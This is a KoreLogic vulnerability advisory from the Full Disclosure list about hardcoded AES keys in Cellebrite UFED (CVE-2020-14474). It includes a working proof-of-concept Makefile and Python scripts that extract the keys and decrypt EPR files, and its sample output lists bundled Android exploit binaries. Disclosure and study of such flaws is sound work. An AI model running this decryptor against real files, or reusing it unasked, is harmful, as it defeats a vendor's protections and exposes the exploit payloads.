KL-001-2020-003 : Cellebrite EPR Decryption Relies on Hardcoded AES Key Material

From: KoreLogic Disclosures via Fulldisclosure <fulldisclosure () seclists org>
Date: Mon, 29 Jun 2020 15:46:42 -0500

```
KL-001-2020-003 : Cellebrite EPR Decryption Relies on Hardcoded AES Key Material

Title: Cellebrite EPR Decryption Relies on Hardcoded AES Key Material
Advisory ID: KL-001-2020-003
Publication Date: 2020.06.29
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2020-003.txt


1. Vulnerability Details

     Affected Vendor: Cellebrite
     Affected Product: UFED
     Affected Version: 5.0 - 7.5.0.845
     Platform: Embedded Windows
     CWE Classification: CWE-321: Hardcoded Use of Cryptography Keys
     CVE ID: CVE-2020-14474


2. Vulnerability Description

     The Cellebrite UFED Physical device relies on key material
     hardcoded within both the executable code supporting the
     decryption process and within the encrypted files themselves by
     using a key enveloping technique. The recovered key material
     is the same for every device running the same version of
     the software and does not appear to be changed with each new
     build. It is possible to reconstruct the decryption process
     using the hardcoded key material and obtain easy access to
     otherwise protected data.


3. Technical Description

     A recursive listing of my standalone decryptor directory:

       $ find .
       .
       ./decrypt-epr
       ./input
       ./input/DLLs
       ./input/DLLs/731
       ./input/DLLs/731/FileUnpacking.dll
       ./input/EPRs
       ./input/EPRs/731
       ./input/EPRs/731/Android.zip.epr
       ./output
       ./output/EPRs
       ./output/EPRs/731
       ./extract-keys
       ./Makefile

     (See the Proof of Concept section for relevant code snippets.)

     First, we start by running the extract-keys script on the
     relevant FileUnpacking.dll file. The provided Makefile will
     automatically output the relevant key material to the same
     directory where the DLL resides.

       $ make keys
       Extracting AES keys from input/DLLs/731/FileUnpacking.dll
       64+0 records in
       64+0 records out
       64 bytes copied, 0.000186032 s, 344 kB/s
       32+0 records in
       32+0 records out
       32 bytes copied, 0.000116104 s, 276 kB/s
       636+0 records in
       636+0 records out
       636 bytes copied, 0.00140342 s, 453 kB/s
       Finished

     The extract-keys script contains a nested JSON-object and
     iterates over the bytes of the file provided creating a SHA256
     hash for each DWORD. The calculated hash is compared against
     known matches and when found the script will automatically
     extract the bytes relevant.

     Now a selected EPR file may be decrypted. A good example is the
     Android.zip.epr file, which contains a set of local privilege
     escalation exploits.

       $ ./decrypt-epr --verbose --file input/EPRs/731/Android.zip.epr
       [+] The EPR file specified exists.
       [+] The specified EPR file has been read into memory.
       [-] Decrypter setup with key 1 for version 3
       [+] Round one of the EPR decryption completed successfully.
       [-] Calculated that the flag will be: [REDACTED]
       [+] The SHA256 key flag has been calculated.
       [-] Found the flag: [REDACTED]
       [+] The SHA256 key flag has been found.
       [-] Decrypter setup with key 2 for version 3
       [+] Round two of the EPR decryption completed successfully. Obtained the final AES key and IV.
       [-] AES Key: [REDACTED], IV: [REDACTED]
       [-] Decrypter setup with key 3 for version 3
       [-] Finished decrypting all blocks.
       [-] Writing bytes to: input/EPRs/731/Android.zip.epr.broken
       [-] Wrote 2552640 bytes to a broken file.
       [+] Round three of the EPR decryption completed successfully. The encrypted zip archive has been decrypted.
       [-] Running: zip -FF input/EPRs/731/Android.zip.epr.broken --out input/EPRs/731/Android.zip.epr.zip > /dev/null
2>&1
       [-] Removing the broken file.
       [+] Decrypted file available at output/EPRs/731/Android.zip.epr.zip
       [+] done.

     The decrypted file can then be unzipped.

       $ unzip Android.zip.epr.zip
       Archive:  Android.zip.epr.zip
         inflating: c2a_disable_selinux_32.ko
         inflating: c2a_disable_selinux_64.ko
         inflating: com.mr.meeseeks.apk
         inflating: daemonize
         inflating: dirtycow
```

```
    inflating: dirtycow_32
    inflating: DisableHuaweiLogging_2.1.5767a
    inflating: django_2.1.5767a
    inflating: EnableHuaweiLogging_2.1.5767a
    inflating: EnableSharpRead_2.1.5767a
    inflating: exploits_2.1.5769.csv
    inflating: forensics
    inflating: fourrunnerStatic_2.1.5767a
    inflating: gb_2.1.5767a
    inflating: nandd
    inflating: nandread-pie-vold
    inflating: nandread-pie_7182
    inflating: nandread64-pie-vold
    inflating: nandreadStatic_7182
    inflating: patcher.exe
    inflating: pingroot
    inflating: pingroot_vultest
    inflating: psneuter_2.1.5767a
    inflating: RecoveryImageMap.csv
    inflating: rootspotter.apk
    inflating: rootspot_verify_env
    inflating: rosecure_2.1.5767a
    inflating: setuid_2.1.5767a
    inflating: shellcode.bin
    inflating: shellcode_32_iptables.bin
    inflating: shellcode_32_oatdump.bin
    inflating: zergRush_2.1.5767a
```

The encryption algorithm uses a software-only key enveloping technique where part of the key material is stored within executable code and part within a encrypted header inside of the encrypted file. The encrypted header is extracted from the encrypted file and decrypted using key material hardcoded within executable code.

Some of the bytes decrypted then undergo a XOR operation to calculate the last DWORD of a SHA256 hash. Separately, a set of 254 bytes is iterated over using 64 bytes per iteration. A complete SHA256 hash is generated for each set of 64-bytes and the ending DWORD of this hash is then compared against the calculated DWORD. If there is a match the bytes used to calculate the DWORD are the next set of key material.

The decryption tool outputs the following match:

```
  [-] Calculated that the flag will be: [REDACTED]
  [+] The SHA256 key flag has been calculated.
  [-] Found the flag: [REDACTED]
```

The last DWORD matches. In fact there are a total of eight possible intermediate keys that can be chosen from based on the bytes observed.

A third and final key exists within each encrypted file header. This key is decrypted using the hardcoded intermediate key used for encrypted the selected file. From here bytes 0x80 through the end of the file are decrypted in blocks of 0x10000.

4. Mitigation and Remediation Recommendation

The vendor has informed KoreLogic that this vulnerability is not present on recent versions of the UFED devices. Cellebrite stated, "While the method described in the reports does not work on recent versions (we previously made multiple changes that broke it), the core key material was exposed and will be rotated effective immediately."

5. Credit

This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc.

6. Disclosure Timeline

```
2020.04.02 - KoreLogic submits vulnerability details to
             Cellebrite.
2020.04.02 - Cellebrite acknowledges receipt and the intention
             to investigate.
2020.05.13 - KoreLogic requests an update on the status of the
             vulnerability report.
2020.05.14 - Cellebrite responds, notifying KoreLogic that the
             technique is not applicable to newer UFED releases.
             Requests time beyond the standard 45 business day
             embargo to ensure all exposed keys have been changed.
2020.06.09 - 45 business days have elapsed since the report was
             submitted to Cellebrite.
2020.06.12 - KoreLogic requests an update from Cellebrite.
2020.06.14 - Cellebrite reports that affected key material has
             been retired.
2020.06.18 - CVE Requested.
2020.06.19 - MITRE issues CVE-2020-14474.
2020.06.29 - KoreLogic public disclosure.
```

7. Proof of Concept

File Name: Makefile

```
  clean:
    for filepath in `find input/DLLs -type f -name '*.keys' -o -name '*.aes' -o -name '*.iv' -o -name '*.map' -o
-name '*.zip'`; do \
      rm -rf $$filepath ; \
    done

  keys:
    @for filepath in `find input/DLLs -type f -name '*.dll'` ; do \
      echo Extracting AES keys from $$filepath ; \
      ./extract-keys --file $$filepath > $$filepath.keys ; \
      if [ -f "$$filepath" ] ; then \
        dd bs=1 if=$$filepath.keys count=64 of=$$filepath.aes ; \
        dd bs=1 if=$$filepath.keys count=32 skip=64 of=$$filepath.iv ; \
        dd bs=1 if=$$filepath.keys skip=96 of=$$filepath.map ; \
      else \
        echo Could not find extract-keys output ; \
      fi \
    done ; \
    echo Finished
```

Script Name: extract-keys

```
  #!/usr/bin/python
  from optparse import OptionParser
  from os.path import exists, basename
  from binascii import hexlify
  from hashlib import sha256
  from os import makedirs

  keyMap = {
    # UFED 5.1
    "Dump_MotGSM.dll":{
      "offsets":{
        "aes":{
          "key":"0e282e124bb8af53357f7e8cb3460a23c94def3fe4f181a57c9fcba3f5f7f054",       # Key and IV already
public information
          "iv":"888c609edc9eb9dfb4d30dfebc9f0431"                                      #
https://github.com/cellebrited/cellebrite
          }
      }
    },
    # UFED 7.3
    "FileUnpacking.dll":[
      {
        "offsets":{
          "aes":{
            "keySize":32,
            "keyHash":"[REDACTED]",  # sha256 hash of first dword
            "ivSize":16,
            "ivHash":"[REDACTED]"    # sha256 hash of first dword
            },
          "mapSize":256,
          "mapHash":"[REDACTED]"     # sha256 hash of first dword
        }
      }
    ]
  }

  if __name__ == "__main__":
    parser = OptionParser()
    parser.add_option("--file",dest="file",default='',help="Decryptor DLL")
    o,a = parser.parse_args()
    if (exists(o.file) != True):
      print "[!] The specified file does not exist"
      exit(1)
    try:
      with open(o.file,'rb') as fp:
        fileData = fp.read()
      print "[-] Read {} bytes.".format(len(fileData))
      if (isinstance(keyMap[basename(o.file)], str)):
        if ("Dump_MotGSM.dll" == basename(o.file)):
          print keyMap[basename(o.file)]["offsets"]["aes"]["key"] +
  keyMap[basename(o.file)]["offsets"]["aes"]["iv"]
      else:
        foundKey, foundIV, foundMap = False, False, False
        for i in xrange(0, len(keyMap[basename(o.file)])):
          for pos in xrange(0,len(fileData)):
            nextDWORD = hexlify(fileData[pos:pos+4])
            if (sha256(nextDWORD).hexdigest() == keyMap[basename(o.file)][i]["offsets"]["aes"]["keyHash"] and not
  foundKey):
              foundKey = True
              aesKey = hexlify(fileData[pos:pos+32])
              print "[+] Found key at {}. Value: {}".format(hex(pos),aesKey)
            if (sha256(nextDWORD).hexdigest() == keyMap[basename(o.file)][i]["offsets"]["aes"]["ivHash"] and not
  foundIV):
              foundIV = True
              aesIV = hexlify(fileData[pos:pos+16])
              print "[+] Found IV at {}. Value: {}".format(hex(pos),aesIV)
            if (sha256(nextDWORD).hexdigest() == keyMap[basename(o.file)][i]["offsets"]["mapHash"] and not
  foundMap):
              foundMap = True
              aesMap = hexlify(fileData[pos:pos+keyMap[basename(o.file)][i]["offsets"]["mapSize"]])
              print "[+] Found map at {}. Value: {}".format(hex(pos),aesMap)
            if (foundKey and foundIV and foundMap):
              break
            pos+=1
    except Exception as e:
        print "[!] Could not read the specified file. Reason: {}".format(e)
    exit(0)
```

Script Name: decrypt-epr

```
#!/usr/bin/python
from logging.handlers import TimedRotatingFileHandler
from optparse import OptionParser
from os.path import exists, getsize, dirname, realpath
from os.path import join as path_join
from os import system, remove
from shutil import move
from Crypto.Cipher import AES
from binascii import unhexlify, hexlify
from hashlib import sha256
import sys
import logging

logging.basicConfig(
  format="%(asctime)s [%(levelname)s] %(message)s",
  level=logging.INFO,
  handlers=[
    TimedRotatingFileHandler(
      path_join(
        dirname(realpath(__file__)),
        "logger.log",
      ),
      interval=1,
    ),
    logging.StreamHandler(sys.stdout),
  ],
)
logger = logging.getLogger(__name__)

bs = AES.block_size
pad = lambda s: s + (bs - len(s) % bs) * chr(bs - len(s) % bs)

class EPR:
  def __init__(self, file, version, verbose):
    self.epr_v1_aes_key = "0e282e124bb8af53357f7e8cb3460a23c94def3fe4f181a57c9fcba3f5f7f054" # Already public
information
    self.epr_v1_aes_iv = "888c609edc9eb9dfb4d30dfebc9f0431"                                  # Already public
information
    self.epr_v2_aes_key = "[REDACTED]"
    self.epr_v2_aes_iv = "[REDACTED]"
    self.epr_v3_aes_key = self.epr_v2_aes_key
    self.epr_v3_aes_iv = self.epr_v2_aes_iv
    self.epr_v2_aes_map = "[REDACTED]"
    self.epr_v3_aes_map = "[REDACTED]"
    self.epr_v3_aes_iv_two = None
    self.file = file or False
    self.version = version
    self.encrypted_file = None
    self.encrypted_epr = None
    self.encrypted_magic = None
    self.decrypted_epr = None
    self.final_epr = b''
    self.logging = verbose
  def file_exists(self):
    if not self.file:
      return False
    return exists(self.file)
  def can_read_file(self):
    return getsize(self.file)
  def read_entire_file(self):
    try:
      fp = open(self.file,'rb')
      self.encrypted_file = fp.read()
      fp.close()
    except Exception as e:
      logger.error("[!] Encountered an exception. Reason: {}".format(e))
      return False
    return True
  def flat_decrypt(self):
    self.encrypted_magic = self.encrypted_file[:21]
    if (self.encrypted_magic[:-2] == "Cellebrite EPR File"):
      self.encrypted_epr = self.encrypted_file[21:]
      if self.version == 1:
        crypter = AES.new(unhexlify(self.epr_v1_aes_key),AES.MODE_CBC,unhexlify(self.epr_v1_aes_iv))
        if self.logging: logger.info("[-] Decrypter setup with key 1 for version {}".format(self.version))
      else:
        crypter = AES.new(unhexlify(self.epr_v3_aes_key),AES.MODE_CBC,unhexlify(self.epr_v3_aes_iv))
```

```
               if self.logging: logger.info("[-] Decrypter setup with key 1 for version {}".format(self.version))
             try:
               self.decrypted_epr = crypter.decrypt(self.encrypted_epr)
               if self.version == 2:
                 self.epr_v2_aes_iv_two = hexlify(self.decrypted_epr[32:48])
               elif self.version == 3:
                 self.epr_v3_aes_iv_two = hexlify(self.decrypted_epr[32:48])
               else:
                 pass
             except Exception as e:
               logger.error("[!] Encountered an exception. Reason: {}".format(e))
               return False
             return True
           return False
         def calc_sha256_dword(self):
           try:
             to_xor_a = hexlify(self.decrypted_epr[24:28])
             to_xor_a = [to_xor_a[i:i+2] for i in range(0, len(to_xor_a), 2)]
             to_xor_b = hexlify(self.decrypted_epr[28:32])
             to_xor_b = [to_xor_b[i:i+2] for i in range(0, len(to_xor_b), 2)]
             xored_1 = int(to_xor_a[-1],16) ^ int(to_xor_b[-1],16)
             xored_1 = "{0:0{1}x}".format(xored_1,2)
             xored_2 = int(to_xor_a[-2],16) ^ int(to_xor_b[-2],16)
             xored_2 = "{0:0{1}x}".format(xored_2,2)
             xored_3 = int(to_xor_a[-3],16) ^ int(to_xor_b[-3],16)
             xored_3 = "{0:0{1}x}".format(xored_3,2)
             xored_4 = int(to_xor_a[-4],16) ^ int(to_xor_b[-4],16)
             xored_4 = "{0:0{1}x}".format(xored_4,2)
             if (self.version == 2):
               self.epr_v2_sha256_flag = str(xored_4) + str(xored_3) + str(xored_2) + str(xored_1)
               if self.logging: logger.info("[-] Calculated that the flag will be:
{}".format(self.epr_v2_sha256_flag))
             else:
               self.epr_v3_sha256_flag = str(xored_4) + str(xored_3) + str(xored_2) + str(xored_1)
               if self.logging: logger.info("[-] Calculated that the flag will be:
{}".format(self.epr_v3_sha256_flag))
           except Exception as e:
             logger.error("[!] Encountered an exception. Reason: {}".format(e))
             return False
           return True
         def key_map_check(self):
           found = False
           if (self.version == 2):
             for i in range(0, len(self.epr_v2_aes_map), 64):
               hash = sha256(unhexlify(self.epr_v2_aes_map[i:i+64])).hexdigest()
               if (hash.endswith(self.epr_v2_sha256_flag)):
                 if self.logging: logger.info("[-] Found the flag: {}".format(self.epr_v2_sha256_flag))
                 found = True
                 self.epr_v2_aes_key_two = self.epr_v2_aes_map[i:i+64]
           else:
             for i in range(0, len(self.epr_v3_aes_map), 64):
               hash = sha256(unhexlify(self.epr_v3_aes_map[i:i+64])).hexdigest()
               if (hash.endswith(self.epr_v3_sha256_flag)):
                 if self.logging: logger.info("[-] Found the flag: {}".format(self.epr_v3_sha256_flag))
                 found = True
                 self.epr_v3_aes_key_two = self.epr_v3_aes_map[i:i+64]
           return found
         def decrypt_key(self):
           try:
             if (self.version == 2):
               crypter = AES.new(unhexlify(self.epr_v2_aes_key_two),AES.MODE_CBC,unhexlify(self.epr_v2_aes_iv_two))
               if self.logging: logger.info("[-] Decrypter setup with key 2 for version {}".format(self.version))
               self.epr_v2_aes_key_three = hexlify(crypter.decrypt(self.decrypted_epr[48:80]))
               self.epr_v2_aes_iv_three = hexlify(self.decrypted_epr[112:128])
             else:
               crypter = AES.new(unhexlify(self.epr_v3_aes_key_two),AES.MODE_CBC,unhexlify(self.epr_v3_aes_iv_two))
               if self.logging: logger.info("[-] Decrypter setup with key 2 for version {}".format(self.version))
               self.epr_v3_aes_key_three = hexlify(crypter.decrypt(self.decrypted_epr[48:80]))
               self.epr_v3_aes_iv_three = hexlify(self.decrypted_epr[112:128])
           except Exception as e:
             logger.error("[!] Encountered an exception. Reason: {}".format(e))
             return False
           return True
         def decrypt_epr(self):
           if (self.version == 2):
             crypter = AES.new(unhexlify(self.epr_v2_aes_key_three),AES.MODE_CBC,unhexlify(self.epr_v2_aes_iv_three))
             if self.logging: logger.info("[-] AES Key: {}, IV:
{}".format(self.epr_v2_aes_key_three,self.epr_v2_aes_iv_three))
           else:
             crypter = AES.new(unhexlify(self.epr_v3_aes_key_three),AES.MODE_CBC,unhexlify(self.epr_v3_aes_iv_three))
             if self.logging: logger.info("[-] AES Key: {}, IV:
{}".format(self.epr_v3_aes_key_three,self.epr_v3_aes_iv_three))
           if self.logging: logger.info("[-] Decrypter setup with key 3 for version {}".format(self.version))
           self.encrypted_epr = self.encrypted_epr[128:]
           for pos in range(0, len(self.encrypted_epr), 65536):
             decryptPart = self.encrypted_epr[pos:pos+65536]
             try:
               self.final_epr+=crypter.decrypt(decryptPart)
             except ValueError as e:
               self.final_epr+=crypter.decrypt(pad(decryptPart))
           if self.logging: logger.info("[-] Finished decrypting all blocks.")
           try:
             if self.logging: logger.info("[-] Writing bytes to: {}.broken".format(self.file))
             fp = open("{}.broken".format(self.file),"wb")
             fp.write(self.final_epr)
             fp.close()
             if self.logging: logger.info("[-] Wrote {} bytes to a broken file.".format(len(self.final_epr)))
           except Exception as e:
             logger.error("[!] Encountered an exception. Reason: {}".format(e))
             return False
           return True
         def zip_FF(self):
           if self.logging: logger.info("[-] Running: zip -FF {}.broken --out {}.zip > /dev/null
2>&1".format(self.file,self.file))
           system("zip -FF {}.broken --out {}.zip > /dev/null 2>&1".format(self.file,self.file))
           return True
         def finish(self):
           if self.logging: logger.info("[-] Removing the broken file.")
           remove("{}.broken".format(self.file))
           move("{}.zip".format(self.file),"{}.zip".format(self.file.replace("input","output")))
           logger.info("[+] Decrypted file available at {}.zip".format(self.file.replace("input","output")))
           return True

       def main():
         parser = OptionParser()
         parser.add_option("--file",dest="file",default=False,help="EPR File Path")
         parser.add_option("--version",dest="version",choices=(str(1),str(2),str(3)),default=str(3),help="EPR
Version")
         parser.add_option("--verbose",dest="verbose",action="store_true",help="Enable verbose mode")
         o,a = parser.parse_args()
         o.version = int(o.version)
         epr = EPR(o.file,o.version,o.verbose)

         if not epr.file_exists():
           logger.info("[!] Unable to find the encrypted EPR file specified.")
           return False
         logger.info("[+] The EPR file specified exists.")
         if not epr.can_read_file():
           logger.info("[!] Unable to open a file object to the encrypted EPR file.")
           return False
         if not epr.read_entire_file():
           logger.info("[!] Unable to read the encrypted EPR file.")
           return False
         logger.info("[+] The specified EPR file has been read into memory.")
         logger.info("[+] Using the version {} decryption process.".format(o.version))
         if not epr.flat_decrypt():
           logger.info("[!] Unable to run the initial decryption round.")
           return False
         logger.info("[+] Round one of the EPR decryption completed successfully.")
         if not epr.calc_sha256_dword():
           logger.info("[!] Unable to calculate the SHA256 key flag.")
           return False
         if o.verbose: logger.info("[+] The SHA256 key flag has been calculated.")
         if not epr.key_map_check():
           logger.info("[!] Unable to find a AES key match.")
           return False
         if o.verbose: logger.info("[+] The SHA256 key flag has been found.")
         if not epr.decrypt_key():
           logger.info("[!] Could not decrypt the final AES key.")
           return False
         logger.info("[+] Round two of the EPR decryption completed successfully. Obtained the final AES key and IV.")
         if not epr.decrypt_epr():
           logger.info("[!] Unable to decrypt the EPR file.")
           return False
         logger.info("[+] Round three of the EPR decryption completed successfully. The encrypted zip archive has been
decrypted.")
         if not epr.zip_FF():
           logger.info("[!] Could not clean up garbage.")
           return False
         return True

       if __name__ == "__main__":
         success = main()
         if success:
           logger.info("[+] done")
         else:
           logger.info("[!] failed")
         exit(success)
```

KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt

Attachment: **signature.asc**
Description: OpenPGP digital signature

By Date By Thread

Current thread:

- **KL-001-2020-003 : Cellebrite EPR Decryption Relies on Hardcoded AES Key Material** ***KoreLogic Disclosures via Fulldisclosure (Jun 29)***

Site Search

Nmap Security Scanner
Ref Guide
Install Guide
Docs
Download
Nmap OEM

Npcap packet capture
User's Guide
API docs
Download
Npcap OEM

Security Lists
Nmap Announce
Nmap Dev
Full Disclosure
Open Source Security
BreachExchange

Security Tools
Vuln scanners
Password audit
Web scanners
Wireless
Exploitation

About
About/Contact
Privacy
Advertising
Nmap Public Source License